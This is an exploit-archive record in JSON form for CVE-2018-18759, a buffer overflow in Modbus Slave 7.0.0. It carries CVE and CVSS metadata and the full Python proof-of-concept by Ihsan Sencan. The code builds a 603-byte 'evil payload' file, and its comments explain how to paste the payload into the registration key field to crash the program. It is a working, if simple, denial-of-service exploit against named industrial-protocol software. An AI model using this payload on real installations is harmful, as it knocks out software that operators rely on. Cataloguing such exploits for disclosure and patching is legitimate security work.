{"exploit":{"id":"EDB-45732","name":"Modbus Slave 7.0.0 - Denial of Service (DoS) (PoC)","description":"Modbus Slave 7.0.0 - Denial of Service (DoS) (PoC)","cves":["CVE-2018-18759"],"author":"Ihsan Sencan","published":"2018-10-29","platform":"windows","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45732","path":"exploits/windows/dos/45732.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45732.py","vulnerabilities":[{"id":"CVE-2018-18759","state":"PUBLISHED","title":null,"titleSource":null,"description":"Modbus Slave 7.0.0 in modbus tools has a Buffer Overflow.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-18759","cvss":{"version":"3.0","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-18759"},"updatedAt":"2024-08-05T11:16:00.418Z","retrievedAt":"2026-11-27T15:07:58.217Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45732.png?v=2","url":"https://exploitbin.com/exploits/EDB-45732","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45732/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45732/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# Exploit Title: Modbus Slave 7.0.0 - Denial of Service (PoC)\n# Dork: N/A\n# Date: 2018-10-29\n# Exploit Author: Ihsan Sencan\n# Vendor Homepage: https://www.modbustools.com/\n# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe\n# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup64Bit.exe\n# Version: 7.0.0\n# Category: Dos\n# Tested on: WiN7_x64/KaLiLinuX_x64\n# CVE: CVE-2018-18759\n\n# POC:\n# 1)\n# F3 & Connection / Connect / Registration Key\n\n\nbuffer = \"A\" * 603\ntry:\n    f=open(\"sie.txt\",\"w\")\n    print \"[+] Creating %s bytes evil payload..\" %len(buffer)\n    f.write(buffer)\n    f.close()\n    print \"[+] File created!\"\nexcept:\n    print \"File cannot be created\"","sha256":"65f501748b2dd9320a714ba9fec9cecdc9bb306fa1a01dcb6ffcbdd25355bfba","bytes":721,"fetchedAt":"2026-11-27T15:07:56.128Z","encoding":"utf-8 (display only; download retains original bytes)"}